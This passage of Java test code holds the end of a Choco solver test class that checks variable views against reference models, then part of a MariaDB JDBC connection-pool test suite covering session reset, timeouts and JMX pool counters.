x).post(); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, z}, seed)); } { IntVar x = model.intVar("x", -2, 2, false); IntVar z = model.intAbsView(x); model.getSolver().setSearch(randomSearch(new IntVar[]{x, z}, seed)); } check(ref, model, seed, true, true); } } @Test(groups="10s", timeOut=60000) public void test1bb() { // Z = X + c for (int seed = 0; seed < 9999; seed++) { Model ref = new Model(); Model model = new Model(); { IntVar x = ref.intVar("x", -2, 2, false); IntVar z = ref.intVar("z", -1, 3, false); ref.arithm(z, "=", x, "+", 1).post(); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, z}, seed)); } { IntVar x = model.intVar("x", -2, 2, false); IntVar z = model.intOffsetView(x, 1); Solver r = model.getSolver(); r.setSearch(randomSearch(new IntVar[]{x, z}, seed)); } check(ref, model, seed, true, true); } } @Test(groups="10s", timeOut=60000) public void test1bbb() { // Z = X * c for (int seed = 0; seed < 9999; seed++) { Model ref = new Model(); Model model = new Model(); { IntVar x = ref.intVar("x", -2, 2, false); IntVar z = ref.intVar("z", -4, 4, false); ref.times(x, ref.intVar(2), z).post(); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, z}, seed)); } { IntVar x = model.intVar("x", -2, 2, false); IntVar z = model.intScaleView(x, 2); Solver r = model.getSolver(); r.setSearch(randomSearch(new IntVar[]{x, z}, seed)); } check(ref, model, seed, false, true); } } @Test(groups="10s", timeOut=60000) public void test1c() { // Z = -X for (int seed = 0; seed < 9999; seed++) { Model ref = new Model(); Model model = new Model(); { IntVar x = ref.intVar("x", 0, 2, false); IntVar z = ref.intVar("z", -2, 0, false); ref.arithm(z, "+", x, "=", 0).post(); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, z}, seed)); } { IntVar x = model.intVar("x", 0, 2, false); IntVar z = model.intMinusView(x); Solver r = model.getSolver(); r.setSearch(randomSearch(new IntVar[]{x, z}, seed)); } check(ref, model, seed, true, true); } } @DataProvider(name = "1d") public Object[][] data1D(){ List<Object[]> elt = new ArrayList<>(); for (int seed = 2; seed < 9; seed += 1) { elt.add(new Object[]{seed}); } return elt.toArray(new Object[elt.size()][1]); } @Test(groups="10s", timeOut=300000, dataProvider = "1d") public void test1d(int seed) { // Z = X + Y + ... Model ref = new Model(); Model model = new Model(); int n = seed * 2; { IntVar[] x = ref.intVarArray("x", n, 0, 2, false); ref.sum(x, "=", n).post(); ref.getSolver().setSearch(minDomLBSearch(x)); } { IntVar[] x = model.intVarArray("x", n, 0, 2, false); IntVar[] y = new IntVar[seed]; for (int i = 0; i < seed; i++) { y[i] = model.intVar("Z", 0, 200, false); model.sum(new IntVar[]{x[i], x[i + seed]}, "=", y[i]).post(); } model.sum(y, "=", n).post(); model.getSolver().setSearch(minDomLBSearch(x)); } check(ref, model, seed, true, true); } @Test(groups="1s", timeOut=60000) public void test1f() { // Z = MAX(X,Y) Model ref = new Model(); Model model = new Model(); { IntVar x = ref.intVar("x", 160, 187, false); IntVar y = ref.intVar("y", -999, 999, false); IntVar z = ref.intVar("z", -9999, 9999, false); ref.arithm(z, "+", x, "=", 180).post(); ref.max(y, ref.intVar(0), z).post(); } { IntVar x = model.intVar("x", 160, 187, false); IntVar y = model.intVar("y", -999, 999, false); IntVar z = model.intOffsetView(model.intMinusView(x), 180); model.max(y, model.intVar(0), z).post(); check(ref, model, 0, false, true); } } @Test(groups="10s", timeOut=60000) public void test2() { // Z = X - Y for (int seed = 0; seed < 9999; seed++) { Model ref = new Model(); Model model = new Model(); model.set(new Settings() { @Override public boolean enableACOnTernarySum() { return true; } }); { IntVar x = ref.intVar("x", 0, 2, false); IntVar y = ref.intVar("y", 0, 2, false); IntVar z = ref.intVar("z", -2, 2, false); new Constraint("SP", new PropScalar(new IntVar[]{x, y, z}, new int[]{1, -1, -1}, 1, EQ, 0)).post(); // System.out.println(cstr); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, y, z}, seed)); } { IntVar x = model.intVar("x", 0, 2, false); IntVar y = model.intVar("y", 0, 2, false); IntVar z = model.intVar("Z", -200, 200, false); Constraint cstr = model.sum(new IntVar[]{z, y}, "=", x); cstr.post(); // System.out.println(cstr); model.getSolver().setSearch(randomSearch(new IntVar[]{x, y, z}, seed)); } check(ref, model, seed, false, true); } } @Test(groups="1s", timeOut=60000) public void testTernArithmBC() { // note did not pass because PropXplusYeqZ did not reach a fix point Model model = new Model(); model.set(new Settings() { @Override public boolean enableACOnTernarySum() { return true; } }); IntVar x = model.intVar("x", 0, 2, false); IntVar y = model.intVar("y", 0, 2, false); IntVar z = model.intVar("Z", -2, 2, false); IntVar absZ = model.intVar("|Z|", 0, 2, false); model.absolute(absZ,z).post(); System.out.println(model.arithm(x,"-",y, "=", z)); model.arithm(x,"-",y, "=", z).post(); // test passes if added twice model.arithm(absZ,"=",1).post(); model.arithm(y,"=",0).post(); try { model.getSolver().propagate(); } catch (ContradictionException e) { e.printStackTrace(); } System.out.println("x - y = z"); System.out.println(x); System.out.println(y); System.out.println(z); Assert.assertTrue(x.isInstantiatedTo(1)); } @Test(groups="1s", timeOut=60000) public void testTernArithmAC() { // note did not pass because PropXplusYeqZ did not reach a fix point Model model = new Model(); IntVar x = model.intVar("x", 0, 2, false); IntVar y = model.intVar("y", 0, 2, false); IntVar z = model.intVar("Z", -2, 2, false); IntVar absZ = model.intVar("|Z|", 0, 2, false); model.absolute(absZ,z).post(); System.out.println(model.arithm(x,"-",y, "=", z)); model.arithm(x,"-",y, "=", z).post(); // test passes if added twice model.arithm(absZ,"=",1).post(); model.arithm(y,"=",0).post(); try { model.getSolver().propagate(); } catch (ContradictionException e) { e.printStackTrace(); } System.out.println("x - y = z"); System.out.println(x); System.out.println(y); System.out.println(z); Assert.assertTrue(x.isInstantiatedTo(1)); } @Test(groups="10s", timeOut=60000) public void test3() { // Z = |X - Y| for (int seed = 0; seed < 999; seed++) { Model ref = new Model(); { IntVar x = ref.intVar("x", 0, 2, false); IntVar y = ref.intVar("y", 0, 2, false); IntVar z = ref.intVar("z", -2, 2, false); ref.arithm(x,"-",y, "=", z).post(); IntVar az = ref.intVar("az", 0, 2, false); ref.absolute(az, z).post(); ref.getSolver().setSearch(intVarSearch(new Random<>(seed), new IntDomainRandomBound(seed),x, y, az)); } Model model = new Model(); { IntVar x = model.intVar("x", 0, 2, false); IntVar y = model.intVar("y", 0, 2, false); IntVar z = model.intVar("Z", -2, 2, false); model.arithm(x,"-",y, "=", z).post(); IntVar az = model.intAbsView(z); model.getSolver().setSearch(intVarSearch(new Random<>(seed), new IntDomainRandomBound(seed),x, y, az)); } check(ref, model, seed, true, true); } } @Test(groups="10s", timeOut=60000) public void test4() { // Z = |X - Y| + AllDiff for (int seed = 0; seed < 999; seed++) { Model ref = new Model(); Model model = new Model(); { IntVar x = ref.intVar("x", 0, 2, false); IntVar y = ref.intVar("y", 0, 2, false); IntVar z = ref.intVar("z", -2, 2, false); IntVar az = ref.intVar("az", 0, 2, false); new Constraint("SP", new PropScalar(new IntVar[]{x, y, z}, new int[]{1, -1, -1}, 1, EQ, 0)).post(); ref.absolute(az, z).post(); ref.allDifferent(new IntVar[]{x, y, az}, "BC").post(); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, y, az}, seed)); } { IntVar x = model.intVar("x", 0, 2, false); IntVar y = model.intVar("y", 0, 2, false); IntVar z = model.intVar("z", -2, 2, false); new Constraint("SP", new PropScalar(new IntVar[]{x, y, z}, new int[]{1, -1, -1}, 1, EQ, 0)).post(); IntVar az = model.intAbsView(z); model.allDifferent(new IntVar[]{x, y, az}, "BC").post(); model.getSolver().setSearch(randomSearch(new IntVar[]{x, y, az}, seed)); } check(ref, model, seed, true, true); } } @Test(groups="10s", timeOut=60000) public void test5() { // ~all-interval series int k = 5; for (int seed = 0; seed < 99; seed++) { Model ref = new Model(); Model model = new Model(); { IntVar[] x = ref.intVarArray("x", k, 0, k - 1, false); IntVar[] y = ref.intVarArray("y", k - 1, -(k - 1), k - 1, false); IntVar[] t = ref.intVarArray("t", k - 1, 0, k - 1, false); for (int i = 0; i < k - 1; i++) { new Constraint("SP", new PropScalar(new IntVar[]{x[i + 1], x[i], y[i]}, new int[]{1, -1, -1}, 1, EQ, 0)).post(); ref.absolute(t[i], y[i]).post(); } ref.allDifferent(x, "BC").post(); ref.allDifferent(t, "BC").post(); ref.arithm(x[1], ">", x[0]).post(); ref.arithm(t[0], ">", t[k - 2]).post(); ref.getSolver().setSearch(randomSearch(x, seed)); } { IntVar[] x = model.intVarArray("x", k, 0, k - 1, false); IntVar[] t = new IntVar[k - 1]; for (int i = 0; i < k - 1; i++) { IntVar z = model.intVar("Z", -200, 200, false); new Constraint("SP", new PropScalar(new IntVar[]{x[i + 1], x[i], z}, new int[]{1, -1, -1}, 1, EQ, 0)).post(); t[i] = model.intAbsView(z); } model.allDifferent(x, "BC").post(); model.allDifferent(t, "BC").post(); model.arithm(x[1], ">", x[0]).post(); model.arithm(t[0], ">", t[k - 2]).post(); model.getSolver().setSearch(randomSearch(x, seed)); } check(ref, model, k, true, true); } } @Test(groups="10s", timeOut=60000) public void test6() throws ContradictionException { Model model = new Model(); IntVar x = model.intVar("x", 0, 10, false); IntVar y = model.intAbsView(x); IntVar z = model.intAbsView(model.intAbsView(x)); for (int j = 0; j < 200; j++) { // long t = -System.nanoTime(); for (int i = 0; i < 999999; i++) { if (y.getLB() == x.getUB()) { y.updateLowerBound(0, Cause.Null); } } // t += System.nanoTime(); // System.out.printf("%.2fms vs. ", t / 1000 / 1000f); // t = -System.nanoTime(); for (int i = 0; i < 999999; i++) { if (z.getLB() == x.getUB()) { z.updateLowerBound(0, Cause.Null); } } // t += System.nanoTime(); // System.out.printf("%.2fms\n", t / 1000 / 1000f); } } @Test(groups="1s", timeOut=60000) public void testJL1() throws ContradictionException { Model s = new Model(); IntVar v1 = s.intVar("v1", -2, 2, false); IntVar v2 = s.intMinusView(s.intMinusView(s.intVar("v2", -2, 2, false))); s.arithm(v1, "=", v2).post(); s.arithm(v2, "!=", 1).post(); s.getSolver().propagate(); assertFalse(v1.contains(1)); } @Test(groups="1s", timeOut=60000) public void testJL2() { Model model = new Model(); SetVar v1 = model.setVar("{0,1}", new int[]{0, 1}); SetVar v2 = model.setVar("v2", new int[]{}, new int[]{0, 1, 2, 3}); model.subsetEq(new SetVar[]{v1, v2}).post(); while (model.getSolver().solve()) ; assertEquals(model.getSolver().getSolutionCount(), 4); } @Test(groups="1s", timeOut=60000) public void testJL3() { Model model = new Model(); model.arithm( model.intVar("int", -3, 3, false), "=", model.intMinusView(model.boolVar("bool"))).post(); while (model.getSolver().solve()) ; assertEquals(model.getSolver().getSolutionCount(), 2); } @Test(groups="1s", timeOut=60000) public void testJL4() throws ContradictionException { Model s = new Model(); BoolVar bool = s.boolVar("bool"); SetVar set = s.setVar("set", new int[]{}, new int[]{0, 1}); // 17/03/16 : seems not idempotent when multiple occurrence of same var // possible fix : split propagator in two ways s.setBoolsChanneling(new BoolVar[]{bool, bool}, set, 0).post(); s.member(s.boolVar(true), set).post(); Solver r = s.getSolver(); r.setSearch(minDomUBSearch(bool)); while (s.getSolver().solve()) ; assertEquals(s.getSolver().getSolutionCount(), 1); } @Test(groups="1s", timeOut=60000) public void testJG() throws ContradictionException { Model s = new Model(); BoolVar bool = s.boolVar("bool"); BoolVar view = bool; IntVar sum = s.intVar("sum", 0, 6, true); s.scalar(new IntVar[]{view, bool}, new int[]{1, 5}, "=", sum).post(); s.arithm(sum, ">", 2).post(); s.getSolver().propagate(); assertEquals(sum.isInstantiated(), true); } @Test(groups="1s", timeOut=60000) public void testJG2() throws ContradictionException { Model s = new Model(); BoolVar bool = s.boolVar("bool"); BoolVar view = s.boolNotView(bool); IntVar sum = s.intVar("sum", 0, 6, true); s.scalar(new IntVar[]{view, bool}, new int[]{1, 5}, "=", sum).post(); s.arithm(sum, ">", 2).post(); s.getSolver().propagate(); assertEquals(sum.isInstantiated(), true); } @Test(groups="1s", timeOut=60000) public void testJG3() throws ContradictionException { Model s = new Model(); IntVar var = s.intVar("int", 0, 2, true); IntVar view = var; IntVar sum = s.intVar("sum", 0, 6, true); s.scalar(new IntVar[]{view, var}, new int[]{1, 5}, "=", sum).post(); s.arithm(sum, ">", 2).post(); s.getSolver().propagate(); assertEquals(sum.isInstantiated(), true); } @Test(groups="1s", timeOut=60000) public void testJG4() throws ContradictionException { Model s = new Model(); IntVar var = s.intVar("int", 0, 2, true); IntVar view = s.intMinusView(var); IntVar sum = s.intVar("sum", 0, 6, true); s.scalar(new IntVar[]{view, var}, new int[]{1, 5}, "=", sum).post(); s.arithm(sum, ">", 2).post(); s.getSolver().propagate(); assertEquals(sum.isInstantiated(), true); } @Test(groups="1s", timeOut=60000) public void testvanH() { Model model = new Model(); BoolVar x1 = model.boolVar("x1"); BoolVar x2 = model.boolNotView(x1); BoolVar x3 = model.boolVar("x3"); IntVar[] av = new IntVar[]{x1, x2, x3}; int[] coef = new int[]{5, 3, 2}; model.scalar(av, coef, ">=", 7).post(); try { model.getSolver().propagate(); } catch (Exception ignored) { } assertTrue(x3.isInstantiated()); assertEquals(x3.getValue(), 1); } @Test(groups="1s", timeOut=60000) public void testScale(){ int n = 9; Model viewModel = makeModel(true); scale(viewModel,n); Model noViewModel = makeModel(false); scale(noViewModel,n); testModels(viewModel,noViewModel); } @Test(groups="1s", timeOut=60000) public void testOffset(){ int n = 9; Model viewModel = makeModel(true); offset(viewModel,n); Model noViewModel = makeModel(false); offset(noViewModel,n); testModels(viewModel,noViewModel); } @Test(groups="1s", timeOut=60000) public void testMinus(){ int n = 7; Model viewModel = makeModel(true); minus(viewModel,n); Model noViewModel = makeModel(false); minus(noViewModel,n); testModels(viewModel,noViewModel); } @Test(groups="1s", timeOut=60000) public void testBoolNot(){ int n = 16; Model viewModel = makeModel(true); boolNot(viewModel,n); Model noViewModel = makeModel(false); boolNot(noViewModel,n); testModels(viewModel,noViewModel); } @Test(groups = "1s", timeOut=60000) public void testBoolNotNot() { int n = 16; Model viewModel = makeModel(true); boolNotNot(viewModel, n); Model noViewModel = makeModel(false); boolNotNot(noViewModel, n); testModels(viewModel, noViewModel); } private static Model makeModel(final boolean withViews){ Model m = new Model("with"+(withViews?"":"out")+" views"); m.set(new Settings() { @Override public boolean enableViews() { return withViews; } }); return m; } private static void offset(Model model, int n){ IntVar[] x = model.intVarArray(n,0,n-1); IntVar[] y = new IntVar[n]; for(int i=0;i<n;i++){ y[i] = model.intOffsetView(x[i],42); } checkDomains(true, x, y); model.allDifferent(x).post(); model.sum(y, "<", n*2).post(); model.getSolver().setSearch(Search.randomSearch(y,0)); } private static void scale(Model model, int n){ IntVar[] x = model.intVarArray(n,0,n-1); IntVar[] y = new IntVar[n]; for(int i=0;i<n;i++){ y[i] = model.intScaleView(x[i],42); } checkDomains(false, x, y); model.allDifferent(x).post(); model.sum(y, "<", n*2).post(); model.getSolver().setSearch(Search.randomSearch(y,0)); } private static void minus(Model model, int n){ IntVar[] x = model.intVarArray(n,0,n-1); IntVar[] y = new IntVar[n]; for(int i=0;i<n;i++){ y[i] = model.intMinusView(x[i]); } checkDomains(true, x, y); model.allDifferent(x).post(); model.sum(y, "<", n*2).post(); model.getSolver().setSearch(Search.randomSearch(y,0)); } private static void boolNot(Model model, int n){ BoolVar[] x = model.boolVarArray(n); BoolVar[] y = new BoolVar[n]; for(int i=0;i<n;i++){ y[i] = model.boolNotView(x[i]); } checkDomains(true, x, y); model.sum(x,"=",n/2).post(); model.getSolver().setSearch(Search.randomSearch(y,0)); } public static void boolNotNot(Model model, int n) { BoolVar[] x = model.boolVarArray(n); BoolVar[] y = new BoolVar[n]; for (int i = 0; i < x.length; i++) { y[i] = model.boolNotView(x[i]); } BoolVar[] z = new BoolVar[n]; for (int i = 0; i < y.length; i++) { z[i] = model.boolNotView(y[i]); Assert.assertTrue(z[i]==x[i]); } checkDomains(true, x, y, z); model.sum(x, "=", n/2).post(); model.getSolver().setSearch(Search.randomSearch(z, 0)); } private static <T extends IntVar> void checkDomains(boolean noHoles, T[] ... vars) { assert vars.length > 0; for (T[] varArray : vars) { for (T var : varArray) { // Not in the domain int prev = -1; DisposableValueIterator it = var.getValueIterator(true); for(int i = var.getLB(); i != Integer.MAX_VALUE; i = var.nextValue(i)) { assertTrue(it.hasNext()); if(prev != -1) { if(noHoles) { assertEquals(var.nextValueOut(i), var.getUB()+1); assertEquals(var.previousValueOut(i), var.getLB()-1); } assertTrue(it.hasPrevious()); // assertEquals(it.previous(), prev); assertEquals(var.previousValue(i), prev); } prev = i; assertEquals(it.next(), i); } } } } private static void testModels(Model... models) { IntVar[][] vars = new IntVar[models.length][]; for(int i=0;i<models.length;i++){ Assert.assertEquals(models[0].getResolutionPolicy(),models[i].getResolutionPolicy()); vars[i] = models[i].retrieveIntVars(true); Assert.assertEquals(vars[i].length,vars[0].length); } long t; long[] time = new long[models.length]; boolean bc; int nbSols=0; do { t = System.currentTimeMillis(); bc = models[0].getSolver().solve(); time[0] += System.currentTimeMillis() - t; if(bc) nbSols++; for(int k=1;k<models.length;k++) { t = System.currentTimeMillis(); Assert.assertEquals(bc, models[k].getSolver().solve()); time[k] += System.currentTimeMillis() - t; Assert.assertEquals( models[k].getSolver().getBackTrackCount(), models[0].getSolver().getBackTrackCount()); Assert.assertEquals( models[k].getSolver().getCurrentDepth(), models[0].getSolver().getCurrentDepth()); Assert.assertEquals( models[k].getSolver().getMaxDepth(), models[0].getSolver().getMaxDepth()); Assert.assertEquals( models[k].getSolver().getFailCount(), models[0].getSolver().getFailCount()); if(models[0].getResolutionPolicy()!= ResolutionPolicy.SATISFACTION) Assert.assertEquals( models[k].getSolver().getBestSolutionValue(), models[0].getSolver().getBestSolutionValue()); if (bc) { for (int i = 0; i < vars[k].length; i++) { Assert.assertEquals(vars[0][i].getValue(), vars[0][i].getValue()); } } } }while (bc); System.out.println(nbSols+" solutions"); for(int i=0;i<models.length;i++){ System.out.println(models[i].getName()+" solved in "+time[i]+" ms"); } } }
package org.mariadb.jdbc; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import java.lang.management.ManagementFactory; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; import javax.management.MBeanInfo; import javax.management.MBeanServer; import javax.management.ObjectName; import org.junit.Assume; import org.junit.Test; import org.mariadb.jdbc.internal.util.pool.Pools; import org.mariadb.jdbc.internal.util.scheduler.MariaDbThreadFactory; public class MariaDbPoolDataSourceTest extends BaseTest { @Test public void testResetDatabase() throws SQLException { try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=1")) { try (Connection connection = pool.getConnection()) { Statement statement = connection.createStatement(); statement.execute("CREATE DATABASE IF NOT EXISTS testingReset"); connection.setCatalog("testingReset"); } try (Connection connection = pool.getConnection()) { assertEquals(database, connection.getCatalog()); Statement statement = connection.createStatement(); statement.execute("DROP DATABASE testingReset"); } } } @Test public void testResetSessionVariable() throws SQLException { testResetSessionVariable(false); if (isMariadbServer() && minVersion(10, 2)) { testResetSessionVariable(true); } } private void testResetSessionVariable(boolean useResetConnection) throws SQLException { try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource( connUri + "&maxPoolSize=1&useResetConnection=" + useResetConnection)) { long nowMillis; int initialWaitTimeout; try (Connection connection = pool.getConnection()) { Statement statement = connection.createStatement(); nowMillis = getNowTime(statement); initialWaitTimeout = getWaitTimeout(statement); statement.execute( "SET @@timestamp=UNIX_TIMESTAMP('1970-10-01 01:00:00'), @@wait_timeout=2000"); long newNowMillis = getNowTime(statement); int waitTimeout = getWaitTimeout(statement); assertTrue(nowMillis - newNowMillis > 23_587_200_000L); assertEquals(2_000, waitTimeout); } try (Connection connection = pool.getConnection()) { Statement statement = connection.createStatement(); long newNowMillis = getNowTime(statement); int waitTimeout = getWaitTimeout(statement); if (useResetConnection) { assertTrue(nowMillis - newNowMillis < 10L); assertEquals(initialWaitTimeout, waitTimeout); } else { assertTrue(nowMillis - newNowMillis > 23_587_200_000L); assertEquals(2_000, waitTimeout); } } } } private long getNowTime(Statement statement) throws SQLException { ResultSet rs = statement.executeQuery("SELECT NOW()"); assertTrue(rs.next()); return rs.getTimestamp(1).getTime(); } private int getWaitTimeout(Statement statement) throws SQLException { ResultSet rs = statement.executeQuery("SELECT @@wait_timeout"); assertTrue(rs.next()); return rs.getInt(1); } @Test public void testResetUserVariable() throws SQLException { testResetUserVariable(false); if (isMariadbServer() && minVersion(10, 2)) { testResetUserVariable(true); } } private void testResetUserVariable(boolean useResetConnection) throws SQLException { try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource( connUri + "&maxPoolSize=1&useResetConnection=" + useResetConnection)) { long nowMillis; try (Connection connection = pool.getConnection()) { Statement statement = connection.createStatement(); assertNull(getUserVariableStr(statement)); statement.execute("SET @str = '123'"); assertEquals("123", getUserVariableStr(statement)); } try (Connection connection = pool.getConnection()) { Statement statement = connection.createStatement(); if (useResetConnection) { assertNull(getUserVariableStr(statement)); } else { assertEquals("123", getUserVariableStr(statement)); } } } } private String getUserVariableStr(Statement statement) throws SQLException { ResultSet rs = statement.executeQuery("SELECT @str"); assertTrue(rs.next()); return rs.getString(1); } @Test public void testNetworkTimeout() throws SQLException { try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=1&socketTimeout=10000")) { try (Connection connection = pool.getConnection()) { assertEquals(10_000, connection.getNetworkTimeout()); connection.setNetworkTimeout(null, 5_000); } try (Connection connection = pool.getConnection()) { assertEquals(10_000, connection.getNetworkTimeout()); } } } @Test public void testResetReadOnly() throws SQLException { try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=1")) { try (Connection connection = pool.getConnection()) { assertFalse(connection.isReadOnly()); connection.setReadOnly(true); assertTrue(connection.isReadOnly()); } try (Connection connection = pool.getConnection()) { assertFalse(connection.isReadOnly()); } } } @Test public void testResetAutoCommit() throws SQLException { try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=1")) { try (Connection connection = pool.getConnection()) { assertTrue(connection.getAutoCommit()); connection.setAutoCommit(false); assertFalse(connection.getAutoCommit()); } try (Connection connection = pool.getConnection()) { assertTrue(connection.getAutoCommit()); } } } @Test public void testResetAutoCommitOption() throws SQLException { try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=1&autocommit=false&poolName=PoolTest")) { try (Connection connection = pool.getConnection()) { assertFalse(connection.getAutoCommit()); connection.setAutoCommit(true); assertTrue(connection.getAutoCommit()); } try (Connection connection = pool.getConnection()) { assertFalse(connection.getAutoCommit()); } } } @Test public void testResetTransactionIsolation() throws SQLException { Assume.assumeFalse(sharedIsAurora()); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=1")) { try (Connection connection = pool.getConnection()) { assertEquals(Connection.TRANSACTION_REPEATABLE_READ, connection.getTransactionIsolation()); connection.setTransactionIsolation(Connection.TRANSACTION_SERIALIZABLE); assertEquals(Connection.TRANSACTION_SERIALIZABLE, connection.getTransactionIsolation()); } try (Connection connection = pool.getConnection()) { assertEquals(Connection.TRANSACTION_REPEATABLE_READ, connection.getTransactionIsolation()); } } } @Test public void testJmx() throws Exception { MBeanServer server = ManagementFactory.getPlatformMBeanServer(); ObjectName filter = new ObjectName("org.mariadb.jdbc.pool:type=PoolTestJmx-*"); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=5&minPoolSize=0&poolName=PoolTestJmx")) { try (Connection connection = pool.getConnection()) { Set<ObjectName> objectNames = server.queryNames(filter, null); assertEquals(1, objectNames.size()); ObjectName name = objectNames.iterator().next(); MBeanInfo info = server.getMBeanInfo(name); assertEquals(4, info.getAttributes().length); checkJmxInfo(server, name, 1, 1, 0, 0); try (Connection connection2 = pool.getConnection()) { checkJmxInfo(server, name, 2, 2, 0, 0); } checkJmxInfo(server, name, 1, 2, 1, 0); } } } @Test public void testNoMinConnection() throws Exception { MBeanServer server = ManagementFactory.getPlatformMBeanServer(); ObjectName filter = new ObjectName("org.mariadb.jdbc.pool:type=testNoMinConnection-*"); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=5&poolName=testNoMinConnection")) { try (Connection connection = pool.getConnection()) { Set<ObjectName> objectNames = server.queryNames(filter, null); assertEquals(1, objectNames.size()); ObjectName name = objectNames.iterator().next(); MBeanInfo info = server.getMBeanInfo(name); assertEquals(4, info.getAttributes().length); // wait to ensure pool has time to create 5 connections try { Thread.sleep(sharedIsAurora() ? 10_000 : 500); } catch (InterruptedException interruptEx) { // eat } checkJmxInfo(server, name, 1, 5, 4, 0); try (Connection connection2 = pool.getConnection()) { checkJmxInfo(server, name, 2, 5, 3, 0); } checkJmxInfo(server, name, 1, 5, 4, 0); } } } @Test public void testIdleTimeout() throws Throwable { // not for maxscale, testing thread id is not relevant. // appveyor is so slow wait time are not relevant. Assume.assumeTrue( System.getenv("MAXSCALE_VERSION") == null && System.getenv("APPVEYOR_BUILD_WORKER_IMAGE") == null); MBeanServer server = ManagementFactory.getPlatformMBeanServer(); ObjectName filter = new ObjectName("org.mariadb.jdbc.pool:type=testIdleTimeout-*"); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource( connUri + "&maxPoolSize=5&minPoolSize=3&poolName=testIdleTimeout")) { pool.testForceMaxIdleTime(sharedIsAurora() ? 10 : 3); // wait to ensure pool has time to create 3 connections Thread.sleep(sharedIsAurora() ? 5_000 : 1_000); Set<ObjectName> objectNames = server.queryNames(filter, null); ObjectName name = objectNames.iterator().next(); checkJmxInfo(server, name, 0, 3, 3, 0); List<Long> initialThreadIds = pool.testGetConnectionIdleThreadIds(); Thread.sleep(sharedIsAurora() ? 12_000 : 3_500); // must still have 3 connections, but must be other ones checkJmxInfo(server, name, 0, 3, 3, 0); List<Long> threadIds = pool.testGetConnectionIdleThreadIds(); assertEquals(initialThreadIds.size(), threadIds.size()); for (Long initialThread : initialThreadIds) { assertFalse(threadIds.contains(initialThread)); } } } @Test public void testMinConnection() throws Throwable { MBeanServer server = ManagementFactory.getPlatformMBeanServer(); ObjectName filter = new ObjectName("org.mariadb.jdbc.pool:type=testMinConnection-*"); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource( connUri + "&maxPoolSize=5&minPoolSize=3&poolName=testMinConnection")) { try (Connection connection = pool.getConnection()) { Set<ObjectName> objectNames = server.queryNames(filter, null); assertEquals(1, objectNames.size()); ObjectName name = objectNames.iterator().next(); MBeanInfo info = server.getMBeanInfo(name); assertEquals(4, info.getAttributes().length); // to ensure pool has time to create minimal connection number Thread.sleep(sharedIsAurora() ? 5000 : 500); checkJmxInfo(server, name, 1, 3, 2, 0); try (Connection connection2 = pool.getConnection()) { checkJmxInfo(server, name, 2, 3, 1, 0); } checkJmxInfo(server, name, 1, 3, 2, 0); } } } private void checkJmxInfo( MBeanServer server, ObjectName name, long expectedActive, long expectedTotal, long expectedIdle, long expectedRequest) throws Exception { assertEquals( expectedActive, ((Long) server.getAttribute(name, "ActiveConnections")).longValue()); assertEquals(expectedTotal, ((Long) server.getAttribute(name, "TotalConnections")).longValue()); assertEquals(expectedIdle, ((Long) server.getAttribute(name, "IdleConnections")).longValue()); assertEquals( expectedRequest, ((Long) server.getAttribute(name, "ConnectionRequests")).longValue()); } @Test public void testJmxDisable() throws Exception { MBeanServer server = ManagementFactory.getPlatformMBeanServer(); ObjectName filter = new ObjectName("org.mariadb.jdbc.pool:type=PoolTest-*"); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource( connUri + "&maxPoolSize=2&registerJmxPool=false&poolName=PoolTest")) { try (Connection connection = pool.getConnection()) { Set<ObjectName> objectNames = server.queryNames(filter, null); assertEquals(0, objectNames.size()); } } } @Test public void testResetRollback() throws SQLException { createTable( "testResetRollback", "id int not null primary key auto_increment, test varchar(20)"); try (MariaDbPoolDataSource pool = new MariaDbPoolDataSource(connUri + "&maxPoolSize=1")) { try (Connection connection = pool.getConnection()) { Statement stmt = connection.createStatement(); stmt.executeUpdate("INSERT INTO testResetRollback (test) VALUES ('heja')"); connection.setAutoCommit(false); stmt.executeUpdate("INSERT INTO testResetRollback (test) VALUES ('japp')"); } try (Connection connection = pool.getConnection()) { Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery("SELECT count(*) FROM testResetRollback"); assertTrue(rs.next()); assertEquals(1, rs.getInt(1)); } } } @Test public void ensureUsingPool() throws Exception { ThreadPoolExecutor connectionAppender = new ThreadPoolExecutor( 50, 5000, 10, TimeUnit.SECONDS, new LinkedBlockingQueue<>(5000), new MariaDbThreadFactory("testPool")); final long start = System.currentTimeMillis(); Set<Integer> threadIds = new HashSet<>(); for (int i = 0; i < 500; i++) { connectionAppender.execute( () -> { try (Connection connection = DriverManager.getConnection( connUri + "&pool&staticGlobal&poolName=PoolEnsureUsingPool&log=true")) { Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery("SELECT CONNECTION_ID()"); rs.next(); Integer connectionId = rs.getInt(1); threadIds.add(connectionId); stmt.execute("SELECT * FROM mysql.user"); } catch (SQLException e) { e.printStackTrace(); } }); } connectionAppender.shutdown(); connectionAppender.awaitTermination(sharedIsAurora() ? 200 : 30, TimeUnit.SECONDS); int numberOfConnection = 0; for (Integer integer : threadIds) { 